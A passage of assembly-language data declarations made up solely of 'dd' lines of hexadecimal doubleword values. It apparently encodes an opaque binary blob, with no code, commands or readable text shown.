dd 0FF92EF91h, 0F1FB5206h, 188EB35h, 739EDFE0h, 70C8338Ah dd 5D0316F6h, 23444A86h, 43981674h, 5A6A004Bh, 5B5C20Fh dd 70E1362Fh, 0EC56FEFDh, 4BBF0097h, 0FFA29135h, 0AF0E7273h dd 1E420AB1h, 0A8447EC7h, 0FE5E6E90h, 0C0A90045h, 6213ACEh dd 8C7434F6h, 12923D38h, 0DDF0FE26h, 0EFF8F0h, 0BF72A524h dd 6C273858h, 1D5C4000h, 1FE6CC60h, 0CDCCA8CEh, 0E7080090h dd 0EA9C802Ch, 7E00223Bh, 597B67B4h, 4E131h, 239706A9h dd 4275CAEDh, 4438FA02h, 0C2C924F6h, 0CCB4008Dh, 0FE83BCBEh dd 9DCB00C8h, 86AA4962h, 901F2FCEh, 6980E2E6h, 0B4F70F68h dd 0BBD79DAh, 1CDB0834h, 0EE4ED581h, 0F760E4F4h, 67821800h dd 2DA2B571h, 13D97539h, 1833EE1Eh, 4B461A50h, 36D46324h dd 29AF7300h, 777C9F51h, 52E714EEh, 3C9CA8A4h, 0DF5400C3h dd 0CD20523Dh, 6E385C2Dh, 0BF60D72Fh, 0B300928Ah, 91B918FDh dd 0B2BE741h, 0D2069709h, 32390420h, 0A318947Ch, 0B858BEC0h dd 0F410E01h, 0C0DDCC26h, 0B4AD9219h, 6C096887h, 21318278h dd 5B6D49B8h, 108036C5h, 0A27026ACh, 8B04A081h, 3287037Ah dd 13CBE4C0h, 4187A36h, 0EF1B2405h, 15F0D02Ah, 0E1243D41h dd 25806C81h, 0E4D659F2h, 0A519005Eh, 0FBB18BD4h, 5CF02E2Fh dd 0F5548802h, 0E043DDB6h, 4BCAD03h, 85A318B7h, 951C8391h dd 11031D98h, 7A05E007h, 0AE22315Ah, 555260B9h, 56950154h dd 444CDFDh, 182C209Ah, 47AEBE00h, 5EA59B06h, 0F14E0142h dd 0F8F66AE0h, 0B9D8EEB6h, 0EBD71200h, 0E1FA9493h, 39A002Ch dd 5BE7540h, 0F600EFE8h, 55AB024Fh, 9F132Eh, 277E9507h dd 0C39BC9B2h, 3F419600h, 0FBC58573h, 0F7F5005Eh, 575C1037h dd 45025055h, 705619D3h, 0BE5A608Ch, 2E9B00A5h, 4AAF7941h dd 460209DFh, 0BC048901h, 7C63E095h, 5BF201F3h, 0E3DA3718h dd 0FF40F533h, 0A11B9015h, 95D105B4h, 0E600A4D6h, 0D465F1ECh dd 36B50024h, 2E5D7463h, 0CA0040F8h, 8962471Eh, 0CED706h dd 0AF11BFC4h, 10A1D37Ch, 48D8B500h, 0C1DDB0A9h, 12E31DABh dd 14A7C087h, 67080F81h, 7FD20B64h, 987CD6C0h, 60033A12h dd 29F84F83h, 4EE868DBh, 0ECB00AD8h, 0E3B88807h, 0A9A04A0Ch dd 1C0398h, 0CA3805EDh, 68A1C03Ah, 2DCE7360h, 28EAD940h dd 16F2C24Eh, 40990DA2h, 0E7F5B8B4h, 0C424DA0Bh, 0B7876C92h dd 0C96036E4h, 98B824Ch, 617FC0A6h, 0AF375C00h, 0D1354A7h dd 1FAFCD25h, 28B7C208h, 85C0F86Eh, 231CFB76h, 0AA8077D0h dd 0A5ED7CD9h, 0F64900CEh, 0E047C033h, 9300CC5Bh, 8DF251ECh dd 48B3F4F9h, 9207644Fh, 40D1A34Ah, 1FA105C3h, 9C00289Ah dd 67E582CBh, 7497FB3Dh, 6F869017h, 181B2016h, 0C48191C0h dd 20998F31h, 2050A002h, 679782C2h, 4460187Fh, 9A1B075Dh dd 0A81F7800h, 92E083h, 13210DE6h, 7F308499h, 249A52h dd 0C7A32D18h, 3E831A9Ch, 98004B77h, 8110B86Dh, 22004336h dd 0E6EE9560h, 0E93DAEAh, 4CA4AF7Ah, 1C654983h, 977C8488h dd 0CB06BD00h, 62D4159Bh, 0E4163BBAh, 834A2000h, 787F4326h dd 1E712503h, 0A077F6D6h, 16FCE8AEh, 2BD0D4h, 89225932h dd 0D70E27A0h, 40633D30h, 26A50FA2h, 4BCC034Ah, 5F1107DCh dd 0C930C0EDh, 0A900B7EFh, 32DAE4AAh, 24FBD3FCh, 0E96E72h dd 0B663FF03h, 38030E7Fh, 14EF7C1Eh, 0F283A908h, 23992E8h dd 0D665CEF6h, 2368A40Bh, 195C8F47h, 0A11004Dh, 38D3992Fh dd 0D5890707h, 27A1CD69h, 3AB880B5h, 332AEA13h, 60FBC24h dd 207434AFh, 9776BB3Fh, 49BA0522h, 0D01A6A07h, 53173818h dd 0E9247405h, 66C037BBh, 0DE686Ch, 783D964Dh, 9FF9EC6Bh dd 0EEF3D018h, 92E9C958h, 525D0064h, 0D1A72A0Dh, 37006835h dd 0EB4A64B7h, 7C822EA9h, 0BA43C9Fh, 0B4B10BF4h, 60835541h dd 0A1C01D83h, 94748F45h, 7BD37703h, 0C0C2ED4Fh, 3E6C020Fh dd 0C98FCFE8h, 0A2007CAAh, 9FDD89D2h, 0F916DB01h, 8DC812B0h dd 87F28980h, 0E729B577h, 7140195Ch, 85AB6818h, 184B3021h dd 60945AE8h, 9624D117h, 77004C22h, 7544261Dh, 24697E52h dd 80441C9Bh, 9F5FABB1h, 1F02FD02h, 0E26186Dh, 649CA11Dh dd 0C623E32h, 499F0D00h, 0A160ED6h, 0E194A00Ch, 60324917h dd 2C54295Eh, 771F79A7h, 0B03A1EDFh, 0FC6F5884h, 2DAE0006h dd 22D26BEAh, 0F726F115h, 0C9004481h, 5BF56998h, 0A57700BEh dd 12CF4C9Dh, 18784F0Dh, 1BB5E000h, 0C265809Bh, 620E387Ah dd 0E7A01107h, 0E1863987h, 0D87D18E1h, 3B667C0Fh, 17DE9E0h dd 35F92A8Bh, 0C058B0E3h, 0C428D0CCh, 4C30734Ch, 0D3D18860h dd 54D7DE00h, 5280AE08h, 0E53007Fh, 0E4ABFD9Fh, 5D188328h dd 0D3064D4h, 28E264B5h, 0D66F2122h, 8D2670h, 524FFD5Dh dd 0E0340D6Eh, 5E4D2C06h, 86D10A84h, 0C004EC1Ch, 0D9FD6519h dd 980D0562h, 98F5E036h, 0B0A010C6h, 0C0D2E17Ch, 85218686h dd 1BB3425Ch, 51616000h, 366700FCh, 0E389B2EBh, 34304D04h dd 584F2019h, 8F8D3918h, 180308Ch, 430106F0h, 5498B1A3h dd 0B1800C83h, 0D0D57B04h, 7D07D325h, 9CF75561h, 0CBFA9740h dd 8351C6E0h, 48073159h, 0A3999E2Ah, 49655EC0h, 0C118C106h dd 0D613170Ah, 35D80140h, 79168030h, 2C0C6DBh, 9A1EAFA3h dd 0A082534Bh, 0D8235758h, 8087EA6Ah, 43908D98h, 92AD00C2h dd 0B4FC61Fh, 7571E57Ch dd 56A0D201h, 47675FF4h, 10B37982h, 24847A48h, 760C40C1h dd 35B8ED2h, 0AC3B14B2h, 0FDA078h, 0AFDBDABCh, 0CB54C980h dd 0BB18BAC4h, 50F035E5h, 9E990A54h, 1CBC22C0h, 0F5DEC30Dh dd 8A89DBFAh, 0A5C0800Ah, 27FED1B4h, 6F5424D4h, 8FE6007Ah dd 1FE3065Dh, 0C98AED06h, 76203F25h, 9F3E0A18h, 70208D09h dd 8CE358h, 0B1ACCDAFh, 4FBAD401h, 22A09660h, 30D167D6h dd 1190E27Fh, 0D7614C78h, 6D6FB1C8h, 9E6CF08Eh, 15C0244Ch dd 0D9ED5306h, 15785267h, 0EC04D236h, 0A24A0800h, 3F2BBAD3h dd 20DE7490h, 0E304F611h, 932570D6h, 39068640h, 971BBADAh dd 0E37890h, 0B2571876h, 0C3D66A1Ch, 5D8EC503h, 3C835FFh dd 0D44BF149h, 40D7D59Ch, 0BEFBBA69h, 0B9DC4701h, 72FD6BAEh dd 896DF180h, 8135DBD1h, 48780249h, 0D5E7091Ch, 6FDC2050h dd 0F2A3941Eh, 1390C17h, 2B0827CCh, 368D21C1h, 6C710794h dd 73A7CE0h, 0B0EBF3Bh, 0AEFEF386h, 0D0365CA0h, 0B1A13F60h dd 1A94B32h, 848CFB33h, 210B57E7h, 20ACDF8h, 809E61CFh dd 50E8422h, 0DA2013A5h, 220470C1h, 9B3C09C9h, 1263F904h dd 2DDBBD8h, 0C83FB48Dh, 88680BD4h, 50414B3h, 3BA8C522h dd 5CAD483h, 0B26ADAF1h, 25B003E1h, 6EF74A85h, 6488BA4Ah dd 941F60E6h, 8C0FF2B8h, 179010E7h, 0D1AF0094h, 0B17058DCh dd 0F19CD86h, 8E78414Fh, 9BAF2980h, 0CB35C073h, 224C8CA8h dd 57B90500h, 0CE5A94BDh, 0E9FCB1h, 19792569h, 4D607A26h dd 4F5340C1h, 98577D12h, 0D966ED80h, 80B401C0h, 908C59C7h dd 8030D1E4h, 0D99ECF21h, 60352231h, 9DC871E2h, 0B13CEEECh dd 1B4C1CE0h, 49C9B242h, 98944A35h, 35D9B430h, 6182D1Ah dd 0C921D520h, 8F9FFC00h, 0AB32ACC9h, 0CE9C007Ah, 94FDDD1Ah dd 23011E9Ah, 6BA3DE30h, 7820E567h, 125740CBh, 0BC10DA09h dd 64A800C9h, 0FA242202h, 0AED4A068h, 2A0C923Ah, 18F46067h dd 795FD446h, 1700708Dh, 69478BCh, 73D13533h, 0A4FC50EFh dd 24E0085h, 0C882A61Eh, 9CA734D9h, 0D5603FE4h, 2497116h dd 89488C20h, 6B6C02B1h, 7D19848Dh, 0A4287440h, 24A66180h dd 28E87130h, 5B733EB8h, 0D6C80F05h, 0B2A490F8h, 11500ED9h dd 883083ACh, 8E30780Ch, 461D24Eh, 1E13700h, 0F66588ACh dd 1AC99840h, 890C02A2h, 34FBA501h, 0F8003464h, 63654AFFh dd 3350E1E9h, 0D508199Bh, 0E746210Fh, 387C74Ah, 1F00828Bh dd 4FFB0744h, 7DA58D80h, 29059ECCh, 0D60C7F46h, 8704C892h dd 80888150h, 7EAC05AFh, 61C0EF34h, 24D38AD1h, 40A200E7h dd 0B37933D0h, 25143B95h, 228034C5h, 36C881B5h, 0D9046218h dd 0E460B4FCh, 3101F933h, 0A0D99ACBh, 0F8E03E89h, 0A3E7097Dh dd 4810D4C5h, 0B1074DBEh, 49A62A8Fh, 0BD878079h, 0AD77A3h dd 59350709h, 73CC9FEDh, 305A5624h, 0AC0F6211h, 5880CF7Dh dd 53845FFAh, 26BA19DEh, 0A2C04862h, 46DA1C13h, 72D22B9h dd 8E13FA14h, 59BE22EAh, 0C1BDDC82h, 68080009h, 1E097912h dd 0D2A1B2E8h, 13000410h, 331481C0h, 9813C3B0h, 883E0DDCh dd 5F022823h, 0C087EFB6h, 82575450h, 0F8E55487h, 81A52F08h dd 0B6A1946Ch, 7488A80Eh, 0FD5B850Ch, 8B33283Bh, 98FF44FFh dd 4A08C334h, 0C4C96369h, 0EB2240D3h, 14574Ah, 0A97AD932h dd 0EEA87834h, 0B46084A2h, 84B0356Bh, 0F0ABC4FCh, 514AA0B9h dd 49A2B088h, 0CF45D8CCh, 2A3438C5h, 0B87C4854h, 54008CD1h dd 0FFC88FBEh, 29FE7756h, 0D97019C4h, 702118D0h, 1DF7A38h dd 0E366D6Ch, 2F1CF218h, 0E1A7B0h, 8CD7FFCBh, 0A79E6A83h dd 5D8D8601h, 0D4E5D988h, 39E807F7h, 6170AEF0h, 7ED4580h dd 0D497AD20h, 5B2B0053h, 9884177Dh, 77039401h, 0C9C1884Bh dd 6F400622h, 58D3EAAEh, 8438E4B0h, 4702007Ah, 89CDD0EDh dd 3C324C53h, 50A1D911h, 7F8C09BCh, 0B4C1116Bh, 80E28868h dd 1DD963CAh, 98044947h, 0DFD41E34h, 0D1ED6C81h, 0FCB2D800h dd 854C84Dh, 0AF83DB0h, 0A89807C7h, 7813F22Ch, 0BA2F2EE8h dd 25465E34h, 0DABB313Bh, 10744700h, 0AEC2CD46h, 0BD02E4E8h dd 344DB1F3h, 0DC4C20E1h, 4B02EC6Ch, 0A0B2A7C9h, 96B04097h dd 0D3D925EBh, 0F2884437h, 2E934802h, 20847E44h, 20E37F23h dd 11546CCh, 0B4C5C4AFh, 0F80CC788h, 67CE88h, 9CA369D9h dd 527EF77Fh, 0DB4D6804h, 28B4ED32h, 16E50051h, 765670D4h dd 1807091Fh, 0B361BDFCh, 78FC6C67h, 69048C17h, 0B8B4C3D9h dd 0C020F962h, 2ED961h, 4D31F4C1h, 760F15D0h, 6A09AC7Bh dd 633680EBh, 95100BCh, 0EE16DA17h, 88EAE5ACh, 0E8D65924h dd 5D00CB91h, 0FCFDC53Dh, 0BA00B345h, 0DD1B6583h, 555ED37h dd 20DBA0DAh, 41D00972h, 981D2CC2h, 5B80E211h, 958F7A38h dd 0C6E1111Dh, 0AF413A98h, 9351250Dh, 0FF2461F0h, 4600E2D9h dd 0C4A97084h, 45660282h, 0F8FD8098h, 148470ABh, 941061F5h dd 3127CAF7h, 88F1026h, 839D0094h, 0C1060485h, 0C9028EDh dd 0FD464490h, 674A087Dh, 0F4C41963h, 4AF55840h, 440F6C3Ch dd 83EBDBAFh, 5DF9D1B0h, 0AFB8E8A0h, 662DEF00h, 0DF2519A6h dd 5AD51FE4h, 26D8A642h, 524E0348h, 10060912h, 0F73A4DACh dd 857400BEh, 0C0B5F37h, 0E700B1F1h, 93D7A73Dh, 16AC7Dh dd 3EEB3BDFh, 8C3CE1C0h, 22644300h, 9F5975CFh, 0F848079Dh dd 0F7E04BCEh, 9EF280CBh, 2F1E49B0h, 3AD0C0h, 0C8481EF7h dd 72D31Dh, 0A08EAC96h, 22251F5Ch, 0E61A3001h, 0B09C5A69h dd 8CC4AED9h, 0F3FC0C7Ah, 0FA28A3CFh, 159D9300h, 35E72E14h dd 41A21EA6h, 461CC380h, 3000944Bh, 0B05AE91Dh, 3B525CC8h dd 0C33010C5h, 7BADAC90h, 2C1ED601h, 95C8995Dh, 9A36A981h dd 0C4F46B65h, 210038F5h, 0BF2A596Eh, 3004E89Bh, 1358F808h dd 55004D6Fh, 79D7B590h, 1E377BB9h, 804414E5h, 0C38A8B93h dd 35FCCA49h, 0F9A9A700h, 0A23DDC09h, 427D009Ch, 4013DAF0h dd 2930B7F4h, 8E1C8197h, 0C0A963C3h, 0B10FB635h, 227286CCh dd 0E07802EEh, 3DF4389h, 0F442C874h, 9E80AEE7h, 93120DB1h dd 0EAD801h, 1D60D3A0h, 200F144h, 8EE45E7h, 122DA83h, 0C5D1BDB2h dd 0BE88621Ch, 2044B008h, 0F622D2A2h, 0C0DA386Dh, 41193730h dd 0BE1D06EAh, 9DCBB767h, 49C40010h, 88E604h, 6D4522D6h dd 0CC0579E2h, 0A7003BE4h, 0BA319684h, 306024h, 0E3081ACAh dd 0A9493F45h, 12394B3Eh, 0D4030E38h, 0D8068D9Ah, 7D2C45E2h dd 0F757140Bh, 0C7369FA5h, 0E3008950h, 0CE7B00Ah, 180B1B6Dh dd 20306629h, 0B318E0F2h, 6529499Ah, 43A10083h, 0E7C16D0Dh dd 0FE74A4C2h, 0CC219D60h, 25A196h, 0CB68D107h, 0F47B58Ah dd 89E558C1h, 0AF07C1BEh, 6A84E383h, 0D6E282E0h, 0C81C3930h dd 73CEE8EEh, 1E971F08h, 0A68D8768h, 21B84F69h, 830F621h dd 0D8B2828Bh, 60516147h, 0E0F923A8h, 0A50316D3h, 1FE00D5Fh dd 8400BD9Ch, 769F4ABFh, 24E30010h, 0C1EDCCA7h, 9C006FB1h dd 521B623Bh, 6C256Ah, 0FCB0B40Bh, 93D12098h, 0E600CA71h dd 0B52E5299h, 26A4AAFh, 0C122A873h, 0E1C03D09h, 3000B3C6h dd 94CE5271h, 5E26F6h, 8ADCAF47h, 557FFBE8h, 809FFA3Bh dd 6F65F967h, 0E86E7E34h, 0C5DF0002h, 2F4EE6A1h, 0D90124E2h dd 12EA4826h, 0BD21CBBEh, 0A59ECC86h, 4500906Eh, 0AA105EA1h dd 30A728h, 791C38CCh, 6CB040F5h, 0BF488095h, 0CB0B76h dd 15F66B9Fh dd 12ADEDBCh, 40E89300h, 0D37278E6h, 98A028B4h, 5A5F0FECh dd 7F80E7A6h, 8516442Ch, 5810FB6Ch, 0EF88003Fh, 2311FF32h dd 1F609F91h, 7809E618h, 0DAB00D1h, 35F64363h, 7F00D45Ah dd 0EBB7251Bh, 1875E6h, 541A1D51h, 0D89B9596h, 7211FD00h dd 9D07D370h, 22997C31h, 4807E82Bh, 96CA6054h, 910BADE1h dd 310F9A00h, 51C1C8D9h, 0A0E7EC4h, 0B1201682h, 24B9000Ch dd 6A19DCCDh, 109F6107h, 53139DC4h, 0B3481C93h, 67B98090h dd 5A21241h, 0B815400Ch, 303A41D2h, 1F8E493h, 0E3009555h dd 0BDDB2EDAh, 15189B5h, 0AA940C8Ch, 50037BF9h, 0C828FCBCh dd 85A7C000h, 124717C9h, 29E8C03Ah, 0F0A54002h, 366FCC00h dd 0C8F2D7B2h, 23590081h, 0C4DE3BA0h, 8C004824h, 3797FD92h dd 747C072Bh, 77F700ECh, 0ACB543CCh, 1A196F96h, 36097150h dd 1B2C2181h, 0C05928B5h, 0F200E2E0h, 655CF4Dh, 0DFEBC57h dd 49CE1BF1h, 0EA24E851h, 5DD73D03h, 32EEFA4Fh, 0B7216209h dd 8AFB4B60h, 0F30013E4h, 0F9728467h, 3FC97AAh, 2EB943E9h dd 0AFF0558Fh, 38C06F80h, 6E267A74h, 96B70ED0h, 0B6879184h dd 2DC0B02Eh, 5503CDD1h, 0D978D6ECh, 0E86873F1h, 44CA41Ah dd 0D73CEA27h, 22646235h, 97607C88h, 0CB07A3C5h, 0AE4BFF9Ah dd 286777B1h, 2B028440h, 49CAC0Eh, 96ADB546h, 2EE96267h dd 0CB51E60h, 2AC02E4Ah, 94255296h, 0FA300103h, 6A8111C7h dd 5488D017h, 4F1DF401h, 0DE85C06Fh, 28F3D080h, 5123B033h dd 0CCAC2418h, 296CAF38h, 0D1BC11EBh, 30CE1863h, 66A1F07Ch dd 0A80078BBh, 0BD05B66Fh, 36C825Fh, 33B48C3Eh, 11F872B1h dd 4614E877h, 1080516Dh, 59C07FC9h, 0BF96AAB5h, 2D221B43h dd 0B5112600h, 6FE374Dh, 139419F2h, 1858B8A2h, 36EA0829h dd 6FC4A5D7h, 0EA7EAE40h, 270E6392h, 66D71C52h, 9812BCh dd 16647481h, 9CD3F3E6h, 24A49788h, 1E246AADh, 19EB59F6h dd 7855F099h, 3F2C7A80h, 0C7BCB516h, 0EC202A30h, 9003E4Bh dd 0B03B5029h, 0CC38A8EDh, 6B210308h, 0F0090600h, 6EBDA94Bh dd 0F0197CABh, 0D16C60ACh, 784C2774h, 94243B7Bh, 0F44468h dd 0E2E1D1A4h, 0ED9679Eh, 0D4765407h, 587AF7B2h, 27093C40h dd 0B3CB2150h, 6D0E8091h, 740008C4h, 549E40AEh, 0FCDE5603h dd 0D0C9DD53h, 0CE78CC2Dh, 0C4016D79h, 0D01992DCh, 2A004130h dd 0C6EEC79Fh, 0C892E5Bh, 8679D694h, 0FBB0D231h, 0A3C43350h dd 0A60071DFh, 0BB966E0Fh, 74D40A25h, 5EF8F357h, 1D286146h dd 0CD4203CDh, 5528886h, 8041EFEAh, 6FBDDCD2h, 54E87F0Eh dd 997876Dh, 0AA48CFC0h, 141FFA02h, 0F46781ACh, 0AE1D1200h dd 0E81EF531h, 0C9AD9B00h, 0BB2C2FA8h, 25553ADBh, 0D0409936h dd 58C073E4h, 0B6C9B172h, 356A072Ch, 0F0C6EB97h, 55CC1962h dd 9C5C990Ch, 13E4605Ah, 4CC51Ah, 6AEA9788h, 573C65D0h dd 300C0ACEh, 3B808CEFh, 62B99C8Fh, 0B8301D6h, 0D4E2F450h dd 8A045A2h, 1C0A444h, 7E504009h, 0DF208623h, 0C96E01F4h dd 67D62608h, 0D5ACFC36h, 83905662h, 4D8060EBh, 33411849h dd 0A71781F6h, 6CC1AC00h, 742FCD9Dh, 0FF08CC95h, 0ACEA3421h dd 1B822501h, 0D1F17C08h, 0E5139C26h, 0BB81667h, 2D9E19h dd 0E28C2338h, 9B06303Bh, 0F429790Eh, 84A94A52h, 7C25E602h dd 1EF4853Fh, 3CCE40C3h, 0A9603318h, 0A04E661Ch, 0DB6C7B03h dd 7A647C53h, 5D200A31h, 2084AB74h, 26D4680h, 6F45ACA3h dd 0D6CE31FDh, 0ACDB3800h, 3F6D0C5Bh, 23403CF1h, 7BE05D18h dd 7E097250h, 0F56E0BB4h, 2E899D13h, 0AE83D600h, 35007179h dd 8D7B175h, 6084F4h, 0BA78F37Dh, 34EE4E2Eh, 0EC590D17h dd 8815AD06h, 61048F11h, 8033654Eh, 98DE8910h, 244331B1h dd 903A7h, 0D7E4E7E0h, 0A5006C71h, 4224A39h, 1F2F0779h dd 4005417Eh, 3E669F64h, 0CD0EAB8Bh, 80121B0Eh, 5528BF42h dd 90F307C0h, 20509535h, 5C3B9F20h, 0C265F90Eh, 2F67A0CAh dd 5DA5C4h, 0C189020Dh, 0DC05434Eh, 1C916B00h, 2DD966C0h dd 53E300D3h, 0C18785F0h, 3EC05CB3h, 11C43ABEh, 7CC200D5h dd 5828D773h, 42003F4Ah, 0A2B931Eh, 1684DFh, 6D1B4BC9h dd 8A838DC5h, 0E4585B00h, 3438DD05h, 7E2C1CB3h, 20FA80C8h dd 0F4F1240Ch, 56009E7Ch, 16781264h, 0EA8557h, 0D1EBDE90h dd 54F3C11Ch, 0DDEDFD0Fh, 0EAFC0E9h, 6C44196h, 10096D03h dd 0C3008055h, 0D47DBBEBh, 725AF53h, 0DD17043Ch, 0DFC18065h dd 6C00A238h, 7B9AFFA7h, 0C3D0523h, 69A30FDCh, 7C003278h dd 0C9E25398h, 29A24Fh, 0F1843801h, 0E97EE5DFh, 2844B00Ah dd 400E88Ah, 22F61461h, 0D0E330A3h, 0F80CE6E0h, 0EA09367Bh dd 10583468h, 130E700h, 642671AFh, 0F445EE8Dh, 5D00A7ADh dd 43693FFFh, 0D3CCABh, 0BBA6D7F9h, 76FE194Ah, 4F00EAFCh dd 45164397h, 0F6793AB8h, 90580F82h, 0F9E0C602h, 6E249952h dd 292BDF07h, 6660E696h, 0BEF0B2h, 0FF5F0C6Fh, 442D6083h dd 2ACC060Ch, 25F073h, 70E5431Ah, 6A24B7DBh, 0D2C9EA60h dd 95203D6h, 87F04E48h, 0E7CE2427h, 6B9650F7h, 4C12CB51h dd 0F900701Ch, 279F7E42h, 0BC2E014Eh, 0A44D2839h, 39E03A50h dd 5C7874h, 997FEDFAh, 91A06F5Eh, 0C5B13F02h, 483AB397h dd 0CEE194h, 0C8DC5281h, 0F4D84B45h, 400063E8h, 886BDFFh dd 13FA89A7h, 0EA959h, 0C73017F9h, 19847D9h, 803E553Ch dd 145C9DD0h, 2E9264h, 0DA5A1121h, 0F809057Bh, 0E09ABA00h dd 0AFD9F978h, 0EFFA3D22h, 0E2A77D00h, 3517E172h, 13B7339h dd 84C48310h, 0A4D85CDFh, 25D500EDh, 27D2041Ch, 0BF0318EEh dd 9C328A0Bh, 0EF960394h, 0C93F97C7h, 80C5D121h, 65296C48h dd 0F3005A99h, 0C479033h, 0B0E78722h, 0BAEA3CB6h, 0DD36569Eh dd 0D5FCC0F3h, 5307C048h, 92C24B04h, 807D71h, 18A99652h dd 1078E570h, 0C103A65Bh, 0BB340B45h, 6BD1B9EBh, 60D0FCh dd 801676FCh, 0F7FA1F2Eh, 0A53FCB04h, 4C903797h, 3C84EB35h dd 4300C1FCh, 5302DA5Fh, 0BA00F7CEh, 76AE4955h, 986092h dd 0EDC89CECh, 46F4D904h, 51076400h, 4DC6143Bh, 8620095h dd 0A01B88EFh, 81072F5Ch, 2EDCBE70h, 47043650h, 87FF0B6Dh dd 6D04E47Fh, 9306808Ah, 0B00C1CFh, 7334E5E0h, 4BD5DFh dd 31B8EC29h, 0A07594E1h, 0AC52A400h, 0BB54D70Fh, 95450063h dd 0DAD5EF2h, 0C51870D2h, 44C0A86Ch, 37AB0110h, 41037506h dd 0BF0EEC25h, 0BA1EDF77h, 0AF40D22Ah, 396D0B7Bh, 3A481ED9h dd 58ACFADh, 55B2AE41h, 2CD8205Bh, 0A1ED3104h, 0BC90DF7Bh dd 2659FDF0h, 0A46518h, 8D96A2E7h, 0E0F7BC09h, 8500B47Ch dd 1744ACC5h, 0B19165h, 3C587A0Eh, 0CD1DE873h, 600377Fh dd 0B5A4BF63h, 13E44732h, 0B03118h, 88EE2188h, 0C0001AD2h dd 10DFAA99h, 182B63Fh, 392EC27h, 34076879h, 0E9005728h dd 7BB2EB4Eh, 3787045h, 22A00A96h, 11007113h, 0DB87A40Ch dd 246ADE29h, 81FC096Bh, 716F9737h, 1F542476h, 4600ACE4h dd 0E6188CFFh, 60433Bh, 283503F7h, 405B79F1h, 1CB3A100h dd 99126E64h, 31E000C2h, 0E69C0270h, 900F2EBh, 7F45309Ah dd 7CE94Eh, 5585772Fh, 2AC30D9Dh, 7C02DE58h, 0E370467Dh dd 47CE6D02h, 400EB658h, 502B3A14h, 76EED842h, 1A940080h dd 0ECF39235h, 0BB0023DCh, 0AD5BD4A4h, 97F97Dh, 0EA82775Fh dd 0F8949092h, 4A7BA607h dd 8030CAC4h, 0EEA85247h, 3BFA01C9h, 5CB52156h, 0F72C30CDh dd 33B72800h, 0AFDBE0B3h, 0D6A200A8h, 93B95062h, 0A7001B26h dd 0B3C7F92Ah, 0A6E92Dh, 0CDE9EB8h, 0C0D9B771h, 21AD9101h dd 7A25BCE4h, 75DF52C8h, 0D1A2002Ah, 1EC0E3ECh, 0BD00DB07h dd 5BF8351Fh, 0E8A721h, 7702A965h, 7E612D4Ah, 7008EC00h dd 0B9BC307Ah, 0A4130003h, 256BC19Eh, 1700A126h, 0F4980427h dd 1A97E5Ch, 50C52359h, 0E883AA61h, 0ED0F6970h, 0E7745351h dd 6A209028h, 1C8A271h, 69222AFCh, 6005A0C2h, 0B809EF5Ah dd 920CD0h, 0E3CC1C24h, 90E900FBh, 0EB7C4F38h, 24241F04h dd 2D0064E8h, 15858E68h, 88EE80h, 58D62517h, 6DE67CA0h dd 0FFEF6B01h, 35216C93h, 1FD02420h, 0C02F0588h, 0C7049444h dd 0B93FEB02h, 834C81E3h, 0F275859Bh, 1D790860h, 405D4EE7h dd 8527AF0h, 0AF018060h, 0AD83720Bh, 0B9D46F6Dh, 0BC490041h dd 0A1C86CA3h, 982493D2h, 37805CB7h, 0E4A0112Ah, 2220E90h dd 25238914h, 0CBF2D8A1h, 53918B1h, 7260A040h, 7467B814h dd 0F61D0022h, 8E532732h, 9F00C645h, 4D3911D6h, 774C31AAh dd 1B500052h, 0FC2CDA1Ch, 60003ABBh, 3161AC63h, 0C166348Bh dd 511B780h, 607182B4h, 1CB89ACh, 6B147A66h, 8BDFF0h, 37D13040h dd 0CCAC1070h, 0A35C9001h, 25CAB4D9h, 0C60D3082h, 0D4683079h dd 500A9B5h, 64242F2Ch, 8ADD91h, 0DB97C670h, 0E42A5BABh dd 45473Eh, 0B32D32EAh, 0E44D3DE2h, 2B560097h, 98625BC8h dd 304C7346h, 0B840007Ah, 0AE59C765h, 309EAD7h, 0E4819DEDh dd 5D83CE9h, 4A0CA567h, 0D1BB4395h, 26520028h, 1076B574h dd 84E50508h, 0C39091A1h, 0C0E48DC2h, 0A013C244h, 8492F70Ch dd 3F10EE43h, 243A8AE7h, 42EC3788h, 89010AE6h, 19BC46D6h dd 22AEDB26h, 0FBC62AE4h, 98AC0098h, 5F7A2309h, 466E241Eh dd 43048018h, 0EE2D62B3h, 0B751C2CFh, 1C80B1D3h, 610C0826h dd 36FF4A1Eh, 0AE0C903h, 9201C051h, 0B1D61863h, 6054711Dh dd 32921F1h, 0B6C16D08h, 998C111Ch, 219CEFCh, 0DDAACA2h dd 9490C1D8h, 0D77AB68Bh, 0AB95F080h, 7229D8ACh, 85FEA199h dd 190E382Dh, 732013E2h, 0EB8A2EA7h, 0FF069F1Fh, 0E69021C0h dd 742D505h, 80E3C6BFh, 0F143B732h, 0C82BB75Dh, 7E6703CAh dd 3E86C148h, 81A20368h, 0FB0D6ECh, 0B94B910Eh, 0BE9820AEh dd 45824Dh, 0DC832D22h, 0C78BDE72h, 0B38827E4h, 19FB0E5Fh dd 9CA424h, 0D896ED67h, 2C01DEAEh, 0EF5ADFE4h, 0DBD760h dd 7742D9E0h, 52E99EA7h, 0D64AD500h, 0C86617B4h, 4D8FA0B1h dd 41E00F5Fh, 8980B78Eh, 0CB0D2FBCh, 0E788DB09h, 9F9C2058h dd 1DC60159h, 18375B23h, 0DDAF9126h, 3D316424h, 0C73F2700h dd 82897Eh, 16B35F25h, 8E32C11Dh, 80C86448h, 0BD63B0DBh dd 44DD008Bh, 209142A1h, 7A014101h, 11D2E6DEh, 0A3FC59FBh dd 0C47E6Fh, 91BDE980h, 0F235DF25h, 4665441Ch, 895E0870h dd 0ACE10F37h, 33A009C6h, 0D2DDE62Eh, 0BC1C770Eh, 0E903E15Ch dd 40888E01h, 301D9E51h, 50BF5606h, 19FE0011h, 19F1007h dd 0D3336960h, 3E6108ECh, 7008821h, 0BCC127D1h, 58E40F23h dd 97760C0h, 6AA8E16h, 2FEA8643h, 0E4031866h, 0B1591844h dd 0FEA80045h, 0A9728AEh, 5D388BB8h, 328A3AD5h, 0C0F121D9h dd 0FECA1Eh, 0E7230327h, 2741FBBh, 5400A7F2h, 46A25D41h dd 299CDDh, 0EF569FBDh, 3E9268B2h, 0F0A8AE00h, 0C1B1FD55h dd 0F27587h, 3C2DB88Bh, 0DC37FCBBh, 2C013E71h, 30CBE58Eh dd 0B7FFD404h, 2EF151C0h, 0B46E0083h, 8ED77876h, 0D809B719h dd 8E0E673Fh, 0F9DA476Eh, 0D456002Bh, 7D294B49h, 86DC487Dh dd 0E6351700h, 3469C4DEh, 3D574D01h, 6B408A53h, 4431094h dd 